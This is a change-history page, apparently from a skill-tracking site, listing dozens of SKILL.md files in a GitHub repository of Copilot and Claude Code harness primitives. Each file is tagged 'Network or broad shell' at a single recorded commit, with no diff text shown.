Not in the top 1,000 by GitHub stars

gbb-acelerators/awesome-harness-primitives

Curated, validated harness primitives for GitHub Copilot and Claude Code: agents, skills, prompts, hooks, plugins, MCP integrations, catalogs, and tooling.

History

Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.

View weekly changes

docs/references/ears-validate/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

docs/references/iac-review/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

docs/references/postgresql-code-review/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

docs/templates/skill-creator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/acreadiness-cockpit/skills/acreadiness-assess/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/acreadiness-cockpit/skills/acreadiness-generate-instructions/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/acreadiness-cockpit/skills/acreadiness-policy/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/agent-governance/skills/agent-governance/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/agent-governance/skills/agent-owasp-compliance/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/agent-governance/skills/agent-supply-chain/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/agent-governance/skills/audit-integrity/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/ai-team-orchestration/skills/ai-team-orchestration/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/application-security/skills/codeql/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/application-security/skills/data-breach-blast-radius/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/application-security/skills/gdpr-compliant/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/application-security/skills/secret-scanning/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/application-security/skills/security-review/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/application-security/skills/threat-model-analyst/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/application-security/skills/tm7-threat-model/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/arch/skills/doc-and-modernize/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/arize-ax/skills/arize-ai-provider-integration/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/arize-ax/skills/arize-annotation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/arize-ax/skills/arize-dataset/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/arize-ax/skills/arize-evaluator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/arize-ax/skills/arize-experiment/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/arize-ax/skills/arize-instrumentation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/arize-ax/skills/arize-link/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/arize-ax/skills/arize-prompt-optimization/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/arize-ax/skills/arize-trace/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/automate-this/skills/automate-this/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/awesome-copilot/skills/suggest-awesome-github-copilot-agents/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/awesome-copilot/skills/suggest-awesome-github-copilot-instructions/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/awesome-copilot/skills/suggest-awesome-github-copilot-skills/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/aws-cloud-development/skills/aws-cost-optimize/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/aws-cloud-development/skills/aws-resource-health-diagnose/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/aws-cloud-development/skills/aws-resource-query/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/aws-cloud-development/skills/aws-well-architected-review/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-ai-foundry/skills/agentic-eval/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-ai-foundry/skills/apim-ai-gateway/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-ai-foundry/skills/azure-ai/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-ai-foundry/skills/azure-api-center/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-ai-foundry/skills/azure-managed-redis-cache/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-ai-foundry/skills/entra-agent-user/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-ai-foundry/skills/foundry-agent-sync/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-ai-foundry/skills/foundry-hosted-agent-copilotkit/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-ai-foundry/skills/microsoft-agent-framework/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-ai-foundry/skills/semantic-kernel/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard-prereq/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-scaffold-wizard/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-cloud-development/skills/az-cost-optimize/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-cloud-development/skills/azure-cli/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-cloud-development/skills/azure-infrastructure/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-cloud-development/skills/azure-pricing/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-cloud-development/skills/azure-resource-health-diagnose/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-cloud-development/skills/azure-resource-lookup/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-cloud-development/skills/azure-resource-visualizer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-cloud-development/skills/azure-terraform-cli/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

harness/claude-code/plugins/azure-cloud-development/skills/azure-terraform-terratest-module-testing/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

1672ec1d9bb3 → 1672ec1d9bb3

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 1672ec1d9bb3

No earlier version was observed for comparison.

Compare on GitHub

